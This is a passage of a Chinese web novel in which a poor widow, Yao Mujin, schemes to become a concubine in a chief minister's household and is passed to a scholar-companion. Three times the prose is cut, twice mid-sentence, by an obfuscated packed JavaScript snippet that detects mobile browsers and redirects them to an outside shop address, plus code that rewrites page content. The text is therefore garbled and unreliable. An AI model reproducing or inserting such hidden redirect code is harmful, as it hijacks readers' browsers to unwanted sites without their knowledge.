韩迟云再次回到花厅的时候,原以为姚木槿会像刚才他离开时那样,低着头跼蹐地坐在椅子上。 彼时她手中握着一双银箸,银辉烁动,愈发衬得她的手纤巧悦目——很秀气的一双手,可惜其上遍布粗糙痕迹,让人一看便知是个没见过世面的市井妇人,小家子相。 哪知映入韩迟云眼帘的却并非小家子相的市井妇人,而是一个趴在桌旁自己跟自己玩“选官图”玩得不亦乐乎的女子,举止犹如少女,边玩边笑,也不知她在乐呵什么,反正是压根儿没拿自己当外人。 听到脚步声,姚木槿抬头向韩迟云这边看了过来,颊上还漾着盈盈笑意,颇有“阳春布德泽,万物生光辉”的明媚与俏丽。 “你这儿怎么会有‘选官图’?这是小孩子才喜欢玩的把戏。”不待韩迟云开口,姚木槿率性问道。 “是我弟弟韩竣的,闲时会教他玩上片刻。”韩迟云答她。 姚木槿歪着头,忆及鱼丽和桃夭两位女使闲聊的话语,想来这韩竣大概便是相爷那个脑子不大清楚的亲儿子了。 “下次我陪他玩,”姚木槿自告奋勇,神情很是得意,“我小时候最会玩‘选官图’了,每次都能第一个拿下太傅之位!” “你为何会喜欢玩这个?”韩迟云疑惑地问。 只因“选官图”这把戏,多是士大夫或官宦人家为了给族中子弟普及朝廷官位,激发子弟奋发读书、谋取高官厚禄之情,这才玩起来。姚木槿一个慈幼局出身的卖花娘子,怎么看都与朝廷官位八竿子打不着。 姚木槿冁然一笑:“其实是二哥喜欢玩,我原是陪他,岂料玩着玩着竟比他玩得还好。” “你亡夫……”韩迟云语声洞彻,眼神幽深。 姚木槿没料到对方居然连这都知道,微有些怔愣,反应了一下才答道:“是。他打小就身体不好,后来病得越来越重,已经走了好些年。” 韩迟云沉默着,负手踱至花厅内那张壶门榻前,于榻上落座,又抬手指了指旁边一把圈椅,道:“既然如此,正好,我有要紧事对你说。姚娘子请坐。” 姚木槿不知韩迟云要说什么,但见他面上神色冰冷肃穆,遂也不再多言,乖乖地在圈椅上坐了。 “读过书吗?”韩迟云忽然问道。 姚木槿收起少女烂漫,恢复至恭谨模样,答道:“只读过几本识字的书,旁的没读过。” “既然识字,可认得‘忠贞’二字?” 姚木槿颔首:“认得。” “认得便好,今日我便与你说一说这‘忠贞’二字。世人多以‘忠’来规范男子,以‘贞’来约束女子。但我今日要告诉你的是,其实这‘忠贞’二字原本皆是用来管束和要求男子的。男子不仅要‘忠’,更要‘贞’。” 韩迟云顿了顿,继续说道:“究竟何谓忠贞?《春秋经传》有言:公家之利,知无不为,忠也;送往事居,耦俱无猜,贞也。《国语》亦有言:可以利公室,力有所能无不为,忠也;葬死者,养生者,死人复生不悔,生人不愧,贞也。” 说话时,韩迟云神态端正,语声凝沉,引经据典地为面前这位没读过书的市井民妇讲述“忠贞”之义。 “除却《春秋》、《国语》之大道,青史之中更有诸多男子以‘忠贞’之情而得以名垂千古。譬如《文心雕龙》有言:若夫屈贾之忠贞,邹枚之机觉,黄香之淳孝,徐干之沉默,岂曰文士,必其玷欤?” “故曰:临危不变曰忠,身正心安曰贞。” “一国若想长盛久安,该当如何?必然是,朝廷有忠贞尽节之臣,乡党有住文歌咏之音。只有忠贞才可惟一,亦只有惟一才可得乾坤安宁,此乃地极天经之根本。” “既然忠贞之义如此重大,我又怎能去做那些身不正、心不安之事?君子行于世,必当致力于纯正无邪、操履无玷,我若不能正身清白,又如何对得起天、地、君、亲、师?” 言至此处,韩迟云猛地打住话头,因为他忽然发现,坐在圈椅上的姚木槿表情空洞,眼神飘忽,一副心不在焉的模样。 “……你听懂了没?”韩迟云眉头轻蹙,问道。 ——姚木槿没听懂。 从韩迟云长篇大论说什么春秋青史文心雕龙的时候,姚木槿就已经开始神游天外了。 她想起五月初五便是端午节,到时候钱塘江上会有龙舟赛,若是能弄些榴花和菖蒲担到江畔去卖,必然能卖个好价钱。 还有,黑羊巷有一户绣娘,人唤王大姐。若是能从王大姐那儿低价买些五彩丝线,自己熬上几个通宵编些长命缕出来,届时和菖蒲一起卖,这也是一笔好生意。买丝线大约三百文,若是长命缕卖得好,至少能赚一贯。 唉,就是彻夜编线太伤眼睛。若想不伤眼,就不能用油灯,得改用蜡烛;可蜡烛太贵了,一支蜡烛二百文,一晚上就得用两支,又要平白搭进去许多本钱,不划算。 啊还有,六月初六是崔真君诞辰,这可是临安府的大日子,简直比端午节还要热闹。每年到了崔真君诞辰这天,西湖游人遍布。 可惜六月的杭城暑气太盛,纵使湖畔游人众多,也都是懒洋洋的,买花的不多。而且那时节,担子里的花也很容易发蔫,不过莲花倒是开得很好,别的花不太好卖,但莲花到底还是能卖上价钱。 姚木槿正在心里敲着自己的小算盘,忽听韩迟云凝声问她听懂了没。 便是这一问,恰如学堂里的先生考教不图进取的学生,瞬间将她的思绪从九霄之外给拽了回来。 于是她很实诚地摇了摇头:“韩官人说什么……奴家听不懂……” 韩迟云长叹一声,只觉自己口干舌燥地说了这么多,不想竟纯粹是对牛弹琴。 他极力压下胸中不耐烦,一字一句道:“好,那我再说一次,用你能听懂的话,给你说明白。” “官人请讲,奴家仔细听着。”姚木槿决定这一次无论韩迟云说什么她都不走神。 韩迟云也懒得再咬文嚼字了,干脆非常直白地说道: “自古以来,贞这个字并不只是用来要求女子,它更是用来要求男子的。不仅妻要为夫守贞,夫更要为妻守贞,如此才配称君子。所以,我这辈子都不会纳妾,不会出入花街柳巷,亦不置通房,不沾惹除我的发妻之外的任何女人。我这辈子只有结发之妻一人,我必将对她忠贞,与她一生一世,死生契阔。这回你听懂了吗?” 姚木槿咬着下唇,眨了眨眼——哦,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274023|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回她听懂了,韩迟云的意思是,纳妾之事泡汤了呗。 “可是孟夫人,她说……” 姚木槿的话还没说完,便被韩迟云打断:“伯母那边由我去解释,此事与你无碍,她不会怪罪你。” 姚木槿想,既然韩迟云都已经把话说到这份儿上了,她若是不依不饶死缠烂打,难免让人看轻。算了算了,不纳就不纳吧,谁稀罕你似的。你有你的高官厚禄,我做我的卖花娘子,咱俩本就是一个天上一个地下,左不过是大路朝天各走半边。 但是……等等…… 不对! 不对不对! 姚木槿皱着眉头,以极快的速度将这件事在心底重新盘算了一遍—— 若是韩迟云不纳妾,她就进不了韩家,郑知县就攀不上相爷; 郑知县攀不上相爷,那就是她的事儿没完成,她就不能收人家的钱; 不能收钱,她就得立刻将那一千贯退回去,否则难免惹祸上身; 可那一千贯另有大用,已经无法退还……所以绕了这么一圈,能将此事完美解决的办法只有一个,那就是——她必须给韩迟云做妾! 想明白这茬,姚木槿猛然抬头,拿一双清亮的眼睛直勾勾地看向韩迟云。 她这一看,把韩迟云也给看懵了。 韩迟云自觉适才那番话已经说得够清楚,且对方也确然听懂。他刚在心底松了口气,哪知面前这女人低着头瞎嘀咕了一阵之后,忽然抬起眼睛盯着他,直盯得他后背发麻,足底泛起丝丝寒意。 便是在这个瞬间,韩迟云感觉自己像是一块新鲜的俎肉,被一头饿狼给盯上了。 他决定再说几句狠话,倘若此女尚有几分羞耻之心,应会知难而退。 于是韩迟云装模作样清了清嗓子,严肃道:“姚娘子既已嫁人,便该对自己的夫君忠贞不渝,恪守妇道,不再另嫁他人。可姚娘子眼下却不仅急于改嫁,甚至还愿意给人做小。如此作为,实在令人不齿。” 韩迟云话音刚落,忽听姚木槿发出一声轻笑。很轻的声音,从耳畔一闪而过,以至于他都来不及分辨,那究竟是苦笑、冷笑、谄笑,又或者是……讥笑。 “官人说什么忠贞不渝,奴家听不懂,也不在乎。奴家只知道,先夫已经死了好些年,人死不能复生,奴家没必要为个死人委屈自己一辈子。官人年已弱冠却房内无人,难道官人不觉得寂寞吗?若是觉得寂寞,何不让奴家来相伴枕侧。官人大好青春,莫要学那些迂腐的老夫子,满口仁义道德地念着,实则不知心里想些什么。官人不若似奴家这般,想爱就爱,想要就要,想说就说,如此才不枉来人间一趟。” 姚木槿说着便从圈椅上站了起来,缓步行至韩迟云身边,放软了身子往他身上贴。哪知眼看快要贴上的时候,韩迟云也猛然起身,向后连退数步。 姚木槿忍不住抿唇偷乐,她看出了他的仓惶,愈发不肯轻易放过。什么春秋冬夏雕龙雕虫的,说了那么一大堆叽叽歪歪的话,还不是个没经历过床笫之事的雏儿,还不是要她来指点,简直是十丈麻布缝口袋——真能装。 思至此处,姚木槿忽然觉得自己有了底气。她面上浮起一抹幽婉浅笑,一步步向着韩迟云逼近。 8. 勾引 姚木槿进一步,韩迟云退一步;姚木槿再进一步,韩迟云再退一步。 初夏的微风撩动窗牖前所悬青绫,撩得人心微痒,不提防鬓边又落下一缕碎发,更衬得女子媚眼笼烟水。 “官人这是怎么了?奴家又不是妖怪,不会吃了官人。”姚木槿故意将语调放得柔软,摆出一副讨巧模样。 韩迟云薄唇紧抿,眉头紧蹙,双眼警惕地盯着眼前这女人,仿佛对方真的会趁他不注意将他一口吞掉似的。 姚木槿勾起手指去扯韩迟云的衣袖,才刚勾住就被韩迟云猛一甩手挣脱出去。 “姚娘子是半点脸面都不要了?”韩迟云容色冷白,眸中一片寒雾弥漫。 姚木槿却笑意娇柔,语带挑逗地问:“不知在官人这儿,脸面值几个钱?” 说这话时,她又往前走了一步,韩迟云还想往后退,身子一动却发现已然退无可退——右手边是壶门榻的外屏,身后立着一架高足香几,身前便是与他仅有一步之距的姚木槿。 这样近的距离,韩迟云感觉自己只需稍微垂下眼帘,便能从对方瞳中看到一个努力装作镇定,实则已是手足无措的男人。他从来清贵端雅,几曾有过这般慌张,却不承想,不过短短两日,他便在这女人面前慌了一次又一次。 韩迟云隐隐有些怒意,也不知是对姚木槿,还是对他自己。 “奴家恰逢癸水,没法子好好伺候官人,但奴家可以……” 姚木槿像个孩子似的,以食指抵着下唇。话未说完,但见她突然迈前一步,抬手就往韩迟云宛如蝤蛴的颈项间摸去。 肌肤相触,她的指尖微凉,他的脖颈却有些烫。 韩迟云被姚木槿手指碰到的瞬间,整个人如遭电掣,猛然向后跌去,不提防后背撞上高脚香几,撞得那香几“砰”地一声砸在地面,韩迟云也疼得倒抽一口凉气。 “你做什么?!!” 待缓过后背疼痛,韩迟云怒喝一声。声音颤得厉害,裹着一层将涌未涌的火焰。 姚木槿似乎没料到韩迟云居然这么大反应,一刹那也有些怀疑是不是自己做得太过分,遂眨巴着眼睛立在原地。 候在门外的关雎听到屋里传出砰然巨响,紧接着便是官人的怒喝,赶紧掀开帘子冲了进来。 谁知一进门也被惊得目瞪口呆,但见自家官人十分狼狈地退至墙角,一双眼睛狠狠瞪视着面前女人,嘴唇颤抖,好似刚被登徒子调戏过的小媳妇,气得眼圈都红了。 而他面前那女人,亦是满脸尴尬,一只纤手悬在空中,进也不是退也不是,张了半天嘴,却没说出半句话来。 原本立在榻旁的高脚香几已被撞翻在地,其上摆着的青瓷香炉摔了个四分五裂,香炉内所剩半片篆香和着香灰一起,撒了遍地都是。 “出去!”韩迟云抬手指着房门,对姚木槿命令道。 “这是怎么了?”关雎心疼地看着自家官人,转而又看向姚木槿,“我们官人让你走呢。” 姚木槿不走。 她不是不想走,而是不能走。此刻若是真走了,必然前功尽弃。她已打定主意,今日无论如何都要让韩迟云松口。 想她姚木槿在市街做卖花娘子这些年,什么样的男人没见过。顾沾沾曾对程厌哭诉,说卖唱之时被人捏手摸脸,其实这种事,她姚木槿也没少遇见,左不过是兵来将挡水来土掩罢了。又不是深宅大院里的娇羞千金,这些年的遭际,让她早就明晰世态炎凉,也学会了“对付不同的人,要使出不同的手段”。 昨日在家中,她已挑逗过韩迟云一次,刚才又挑逗了一次,经过这两次撩拨,姚木槿可以很肯定——韩迟云是谦谦君子,很会讲大道理,但越是如此,他在面对撒泼耍赖的女人时,就越是没招。且他实在青涩,以为男女之事可以靠引经据典来解决,简直是可笑。 想明白这点,姚木槿心思一动,突然就掩面痛哭起来。 对面那两人都被她哭愣了。韩迟云尚未发话,倒是关雎率先质问:“这又是哭什么呢?!” 姚木槿不回答,只哭得更凶,那架势直如孟姜女哭倒长城,白素贞水漫金山。 韩迟云果然看不下去,开口道:“你有何委屈,仔细说来便是。这般大哭小叫,成何体统。” “官人昨日来找奴家,还扯了奴家的手腕,整个黑羊巷的人都看到了。奴家要入相府伺候官人之事,眼下人人皆已晓得。”姚木槿边哭边说,语声委屈又凄凉。 “我找你是为了与你把话说清楚,扯手腕是因为你……”韩迟云急忙辩解,可“袒/胸/露/臂”四个字却半天说不出口。 姚木槿没搭理他,只管哭自己的:“奴家到底是女子,还是个孤苦无依的小寡妇。俗话说得好,寡妇门前是非多。官人昨日来寻奴家,大家都已瞧见你我二人孤男寡女共处一室,可官人现在又翻脸不认,叫奴家还有何脸面做人?还有何脸面活在这世上?奴家的清白名声全被官人毁了。” 韩迟云怄得差点儿一口气没喘上来,刚要反驳,不料却又被对方打断。 姚木槿继续哭道:“况且,奴家已经答应了孟夫人要好好伺候官人……谁知官人却要在这个节骨眼儿上将奴家赶走,奴家若是被赶出府去,哪还有脸活着,不如这就找棵树吊死算了。……想不到官人竟然狠心至此。” 她是打定主意不给韩迟云留下一丝一毫的辩驳机会,无论是不是强词夺理,反正现在要做的便是将所有的“理”都拉到自己这边,让韩迟云有理也变没理。 “你到底想怎么样?”韩迟云几乎忿然地问。 姚木槿擦拭着颊边珠泪,泣道:“纵使不为自己的清白名声,只为争口气,奴家眼下也不能就这么平白离去。求官人可怜可怜奴家,莫要欺人太甚。奴家所求无多,只不过是想服侍官人左右,日日夜夜为官人端茶倒水,叠被铺床。” 话说至此处,韩迟云的容色已是白里透青,连声音都变得僵硬:“适才我已经说过了,我会对我妻忠贞,我这辈子都不会……” “奴家也说过了,奴家若是就这样离开相府,奴家会立刻找棵树吊死。”姚木槿再次打断韩迟云,端的是一步也不退让。 韩迟云眼前蓦地阵阵发黑,赶忙抬手揉了揉太阳穴,只觉这个姓姚的小寡妇简直是他这二十年人生中遇到的最棘手之人——什么是克星,这大概就是命中克星吧。 良久,韩迟云终于压住心内愤慨,反问道:“你的目的只是入相府做妾?” 他的声音变得很平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274024|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,甚至平静得略显诡异。 “是,求官人成全。”姚木槿丝毫没听出有何不对,下意识便回答。 “好,我满足你,但不是给我做妾,是给别人做,你愿不愿意?” 姚木槿一怔,这相府除了甫及弱冠的韩迟云,还有谁要纳妾?总不可能是那个只有十岁且脑子不大清楚的小官人吧?又或者是……相爷?! ……不可能,不可能,不可能。 “官人想让奴家给谁做妾?”想到韩相爷,姚木槿的气势瞬间矮了一半,怯生生地问。 韩迟云冷声吩咐道:“关雎,去西跨院把沈如钧请来,就说我有要紧事找他。” 关雎应了一声,快步走出花厅,带着两个小丫头向西跨院奔去。 西跨院离韩迟云的院子颇有些远,纵使关雎跑得再快,来去也得一盏茶的功夫。趁着这空档,韩迟云落坐椅上,将食指和中指捏在眉心,一下下揉捏着,意图以此平复适才争执时的心情,让自己恢复至清贵姿态。 “沈如钧是谁?”姚木槿站在椅旁疑惑地问。 “我的伴当。自十岁那年伴我一起修习六艺,至如今已有十年交情。他与我年岁相仿,前些日子家中来信催他纳妾,沈老先生身体不大好,希冀早日含饴弄孙。你不是上赶着想给人做妾?他是诗礼士人,你要好生伺候。”(注释1) 韩迟云语气冰冷,神色也冰冷,但却仍旧耐心地为姚木槿解释清楚。 姚木槿轻轻“噢”了一声,既然是韩迟云的伴当,想来也必定是个温文尔雅之人。她暗自舒了口气,先把悬着的一颗心放了一半到肚子里,至于另一半…… “如果我给他做妾,你是不是就不要我还那一千贯了?”姚木槿趁势追问。 “是。”韩迟云咬牙切齿。 “好,我做。”姚木槿爽快地答应了。 韩迟云听得姚木槿宁愿给一个压根没见过面的男人做妾,也不愿意退还钱财,须臾之间心生菲薄,忍了半天终是没忍住,恨声斥了句:“……庸俗不堪!” 姚木槿倒是毫不介意韩迟云说她庸俗,庸俗就庸俗,这有什么大不了的。她只在心底盘算着,倘若给那沈如钧做妾,她就既能入相府还不用还钱,实在是妙啊——如此一来,两半心皆妥当地放回了肚子里。 想着想着,姚木槿抿唇轻笑出声。 韩迟云的面色却愈发青白难看,似乎再不想和姚木槿多说一句话,赌气似的,猛然将脸转向侧旁。 姚木槿知晓自己刚才一哭二闹三上吊的把戏弄得韩迟云很不痛快,于是也讪讪地不再讲话。反正她的目的已然达到,就算那沈如钧奇丑无比,哪怕是个“三寸丁、谷树皮”也没什么大不了,她本就不图他们这种人的情情爱爱,左不过是先混日子后跑路。(注释2) 于是这二人便在花厅内一站一坐,明明是两个大活人,却谁也不说一句话,甚至谁也不看对方一眼,弄得整个花厅弥荡开一种诡异的安静,大白天鬼气森森。 又过了片刻,忽听得门外响起脚步声,声音虽急却稳,紧接着便是一位年轻男子掀帘走了进来。 “迟云,你找我?”来人问道。 姚木槿循声看去,倏然眼前一亮——嚯,好俊的男人! 9. 伴当 站在面前的年轻男子身穿细绢白襕衫,腰系玄青绦带,头戴一方东坡巾,乃典型的士子装束。此人瞧模样也不过二十出头,剑眉星目,容颜俊朗,且唇畔常含一抹笑意,很容易让人生出亲近之心。 “迟云,崔岐山他们几个打算在朝廷开酒库那日去西湖欢饮,托我向你递帖子。我原想晚些时候来寻你,谁知却被关雎姑娘火急火燎地唤来。究竟何事如此着急?”沈如钧笑问。 “沈老先生一直催你纳妾,我这里倒是有个适宜之人。”韩迟云语声平静地回答。 听闻此语,沈如钧叹了口气:“你也知晓,我那发妻自进门之后身体一直不好,这两年阿爹的身子也愈发差了。他是生怕见不到孙儿,这才如此催促我。不知迟云说的适宜之人,究竟何人?” 韩迟云转头向姚木槿所立之处瞥了一眼,道:“便是这位娘子,姓姚,名木槿。” 沈如钧赶忙向姚木槿唱了个喏:“鄙人眼拙,适才不曾瞧见娘子,还望娘子宽恕则个。” ——他在撒谎。 其实甫一踏入花厅,他便发现房里多了个眼生的女人。 那女人生得很美,鼻头微翘,檀唇小巧,身姿尤其婀娜,可谓荆钗布裙而不掩倾城色。虽则如此,但却好像刚与韩迟云吵了一架似的,眼圈泛红,且两个人各自将脸转向一边,谁也不看谁。 沈如钧迅速在心底揣测此女来头,打算暂且视而不见,端看韩迟云会如何。 眼下听闻韩迟云想将此女予他做妾,霎时心思百转,一面彬彬有礼地向姚木槿唱喏,一面觑着此二人的反应。 姚木槿也向沈如钧拜了个万福,刚要说话,却听韩迟云道:“姚娘子乃慈幼局出身,虽则凄苦,却能自食其力,不亢不卑,我瞧着与你十分相称。适才已经问过她,她愿意做你妾室,你自可将她领去。” 话毕,韩迟云从椅上站起,未等沈如钧答话,他便一甩衣袖,抬腿走了。 花厅内,惟余姚木槿和沈如钧面面相觑。 “迟云自小就是个较真的性子,娘子莫要怪罪。”沈如钧又向姚木槿唱了个喏,为韩迟云辩解道。 姚木槿笑着摇了摇头:“我与他不过是桥归桥路归路,谈不上怪罪。若沈官人不嫌弃,我愿意伺候沈官人。” “娘子国色天姿,若汉滨之游女、南湘之二妃。能得娘子添香身畔,沈某何憾之有。” 姚木槿第一次被人如此文绉绉地夸赞,有些羞赧地低下了头。虽然那什么汉滨游女、南湘二妃究竟何人,她完全不知道,但她知道面前这男人很会说话。 “天色不早,我送娘子出府。” “多谢沈官人。” 二人一前一后走出花厅,绕过穿堂,出了韩迟云的院子,继之沿着游廊往相府侧门的方向走去。 走着走着,沈如钧忽然笑着对姚木槿说:“姚娘子的名字真美。” 姚木槿忙道:“只是很庸俗的名字,慈幼局的妈妈们没读过书,想不出有深意的词句,大家都是花花草草随便叫着。倒是沈官人的名字才是真好听。” 沈如钧笑了笑:“家尊为我取的。” “适才听闻,沈官人家中已有妻室?”姚木槿问出了从刚才起就一直盘桓心头的疑问。 “乃是遵父母之命娶进门的糠糟之妻,身体不大好,一直在原籍养病,并未随我同住临安。我是前两年回原籍应解试的时候,顺便娶了妻。” “不知沈官人原籍何处?” 沈如钧笑答:“说远也不远,便是淮东路泰州海陵县。我父亲自幼喜好读书,可惜屡试不第,眼见与官场无缘,于是便做了相府西宾,我和迟云皆由他老人家发蒙。后来父亲年岁大了,身子骨也不甚硬朗,遂离开相府回了原籍。” “沈官人如今住在这相府之中?”姚木槿继续问道。 “正是。我自小便给迟云做伴当,我们一同读书习武,感情颇为深厚,他从不曾拿我当下人看待。如今相爷允我暂居西跨院,吃穿皆由相府供给。我日日寒窗苦读,只盼来年金榜题名,承吾父未竟之志,报相爷栽培之恩。” 姚木槿听沈如钧说完,也不知怎得,只觉心湖波荡,忽然便对韩迟云漾起一涟好感。 想来那人虽别别扭扭,且还十分嫌弃地斥她庸俗,但却并未将她随便扔给哪个粗鲁下人,而是将一心读书向学的幼时玩伴与她作配。她对读书人向来心怀崇敬,也就愈发觉得这沈如钧是个顶好的人。 二人边走边聊,眼看已至相府侧门,沈如钧似忽然忆起,对姚木槿交待道: “娘子可随时至西跨院寻我。那边有一道小门正对皇城司,无须经过相府,极是方便。” 姚木槿爽快地应了一声好,正要告辞离开,却听身后传来一个女人惊愕的叫喊:“……姚木槿?真的是你?!我在这儿等了你好久!” 姚木槿回头一看,登时又惊又喜——站在她身后的竟是从前在慈幼局相伴玩耍的一位姊妹,由刘乳娘一手带大,名唤蝶儿。 “刘蝶儿!你怎么会在这里?”姚木槿欢喜地问。 那女子摆了摆手,嫌弃道:“快别叫什么蝴儿蝶儿的,忒俗气。如今我在相府给孟夫人做女使,叫我采蘋就行。” 她边说边上前拉起姚木槿的手,将其往门畔僻静角落处拉去:“你来,快来,我有话同你说。” 姚木槿回眸看向沈如钧,沈如钧笑着抬手示意“请便”,之后便转身自行离去。 眼看着沈如钧越走越远,很快便消失于视线中,姚木槿尚未怎样,倒是采蘋,盯着沈如钧离去的背影,发出一声悠长叹息:“唉,沈官人是极好的,可惜只是个伴当。” 姚木槿“嗤”地一笑,打趣道:“怎了?瞧你这模样,难不成是看上他了?” 采蘋也笑,笑着在姚木槿手背轻轻一拍:“休要胡言。他那人心思极深,端的是让人捉摸不透。而且他家连个功名都没有,说来说去也不过是地位高些的下人,白读了那么些书,全无甚用。不说他了,说说你吧。” “我?我怎么了?”姚木槿不解,“倒是你,为何在这儿等我?” 采蘋拉着姚木槿躲在角落一丛花木后,这便打开话匣子,对姚木槿讲明来龙去脉。 却原来,这采蘋自离了慈幼局,便辗转于大户人家做女使。因其性子八面玲珑,又善于察言观色,机缘巧合之下入了相府,眼下是孟夫人的贴身女使。 晨起她被孟夫人打发着出门采买针线,刚从街市回来便听采蘩说,孟夫人相中了一个名叫姚木槿的女人,打算收入府中给大官人做妾。 采蘋一听“姚木槿”三个字,瞬间愣住,心道不会如此巧合吧?于是便找了个借口至后门处等着,打算暗中看看是否故人。嘿,谁知天下事就是这般巧合,还真是故人! “大官人马上就要议亲了,你道夫人为何要在他娶妻之前先纳一房妾室?”采蘋神秘兮兮地问姚木槿。 姚木槿不提防突然被这样问,顿了顿才答:“孟夫人对我说,因为韩官人清白干净,他不懂床笫……” 姚木槿话还没说完就被采蘋嫌弃地打断了:“嘁!夫人糊弄你呢。就算官人不懂,新妇过门之前总是有阿娘教的吧?再者说,就算新妇也不懂,到时候找两个老嬷嬷来说道一番不就行了,犯得着再弄个人进来?没得添事儿。” 姚木槿想了想,也对,这也不是什么大事,大家不都是一回生二回熟的,遂问:“若非如此,那又是为什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274025|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >采蘋压低声音:“据我揣测……夫人赶在新妇过门前让你为大官人侍奉枕席,是为了给新妇一个下马威!” 姚木槿惊得呼吸一滞:“夫人竟有此意?!你可别乱猜。” 采蘋得意地晃了晃头,摆出一副谆谆善诱的姿态: “你性子素来直率,深宅大院这些事,你是半点儿不懂。我告诉你,昔年相爷尚未得权时便娶了夫人,内宅由夫人掌事。夫人虽是一品诰命,但其娘家却只是个拿不出手的商户。她娘家兄弟仰仗相爷照拂,这才有了一官半职,可到底是癞狗扶不上墙的东西。再加上小官人的病一时半会儿又医不好,夫人心里悲戚。眼下大官人也要议亲了,相爷若是给大官人娶亲,那必然是枢密院、御史台之类的高门大户之女,你想想看,这不是上来就压了夫人一头?如今家内里里外外皆听夫人的,可将来等新妇进了门,那就不好说咯。” “所以,孟夫人想让我帮她撑腰?可我只是个穷寡妇……”姚木槿越听越糊涂。 “嗤,”采蘋发出一声哂笑,“想什么呢,你哪儿来的力气给夫人撑腰。你晓得不,那些高门大户里面有些脾性骄傲的女子,不管郎君身边是否已有妾室,出嫁之前皆要他全部遣散。咱们大官人明明没有妾,可夫人偏要反其道而行,赶在大官人娶亲之前让你入府,十有八九是想给新妇添堵呢。” 姚木槿已觉脑袋隐隐作痛,万没想到这里面居然有这么多门门道道,遂问:“那我入府之后,岂不是风箱里的大肥耗子——两头遭气受?” “你放心,只要你一心向着夫人,夫人必然帮你。若那新妇仗着娘家势力,敢跟夫人作对,夫人定会想法子收拾她。咱们大官人是个冰雕雪砌的玉菩萨,只要你能把他捂热了,将来有你的好处。”采蘋笃定地说。 眼瞅着时辰不早,二人从花木后面走出,拾捡干净裙摆上沾着的草叶子,采蘋这便送姚木槿离开了相府。 临分别时,采蘋又交待道:“我是因着咱俩从前的姊妹情分,才对你说这些,你可莫要对外人说。” 姚木槿赶忙拍着胸脯答应绝不外传。 回到黑羊巷的时候,天色已然擦黑。可当姚木槿点起油灯,望着家徒四壁的房间时,却长长地舒了口气。 莫看这房子又旧又窄,可她住得自由,也住得惬意。 这房子是她和二哥庾岭一起攒钱买下的。彼时为了买房子,两个人四处借钱,背了一屁股债。后来庾岭死了,剩姚木槿起早贪黑卖花还钱,终于在去年将所有欠银尽皆清还。 姚木槿坐在椅上,一边吃着顺路买回来的香喷喷的油饼和甜羹,一边抬眼打量着自己的屋子,简直越看越欢喜,越看越舒服,真是金窝银窝都不如自己的狗窝。 看着看着不禁又想到今日在相府的遭际——吃了一顿佳肴,听了一回勾心斗角。忽然便明白自己从前将那些王公贵胄想得太简单,还以为不过是房子大了些、人丁多了些,不承想内中竟有如此多的弯弯绕绕,真是累死个人。 这么看来,那韩迟云着实是个很不错的人。他将自己荐给了沈如钧,跟着沈如钧就不需要去跟未过门的新妇争宠,也不需要去给人添堵,如此甚好。 姚木槿乐呵呵吃完了油饼,又将自己梳洗干净,关窗落闩准备睡觉,转头却看到椅背上搭着一件金贵的雾山蓝外衫,这才“哎呀”一声反应过来——韩迟云的衣裳落在她这儿了。 姚木槿拎起那件外衫抖了抖,其上沉水香的味道犹未散尽,沉郁微苦的木香随着姚木槿的动作,立时扑鼻而来。 “算了,”姚木槿自语道,“过些日子寻个机会给他还回去。” 她将衣衫扔回椅背,灭掉油灯,开开心心拥被而卧,很快便沉入了甜美的梦乡。 10. 婚事 那边姚木槿在黑羊巷的陋室里睡得香甜,这边韩迟云却躺在绮帐锦衾之中失眠了。 今夜掌灯时分,韩辙从枢密院回到府邸,草草用了些晚饭,而后便将韩迟云唤至书房。 韩辙早已过了不惑之年,眼角皱纹堆叠,两鬓华发斑驳。但这些却丝毫不损其势,反令其更显出一种不容置疑的威严。 书房内烛光熠熠,韩辙低头抿了一口盏中香片,这才慢条斯理地说:“今日官家于孝思殿行香之际,突然问起你的婚事,说你年岁不小,是时候成家立业。我对此深以为然。今夜叫你来,便是想问问你的意思,你可有属意之人?” 韩迟云坐在韩辙下手一把圈椅上,亦捧着香片浅呷,听韩辙说完,便将香片置于案上,起身礼道:“终身大事,应遵父母之命,循媒妁之言。侄儿不敢做那钻隙相窥、逾墙相从之举。一切但凭伯父做主。” “若是不爱,你也愿意迎娶?”韩辙试探着问。 韩迟云恭敬答道:“所谓婚姻,不过是合二姓之好,上以事宗庙,下以济后代。男女婚约,非关此男女二人,乃关乎两个家族。爱与不爱皆庸俗之人说庸俗之言,上不得台面。夫妇二人终究是要举案齐眉,相敬如宾,使两家人各取所需、各得其所,这才是婚约之根本。” 韩辙轻抚髭须,满意地笑道:“说得好。你自小便持重懂事,伯父没看错你。” “全仗伯父栽培,恩师教诲。” 听韩迟云提到恩师,韩辙的面色忽然变得有些难看,问道:“朱畦在建阳讲学已逾三载,你与他仍有关涉?” 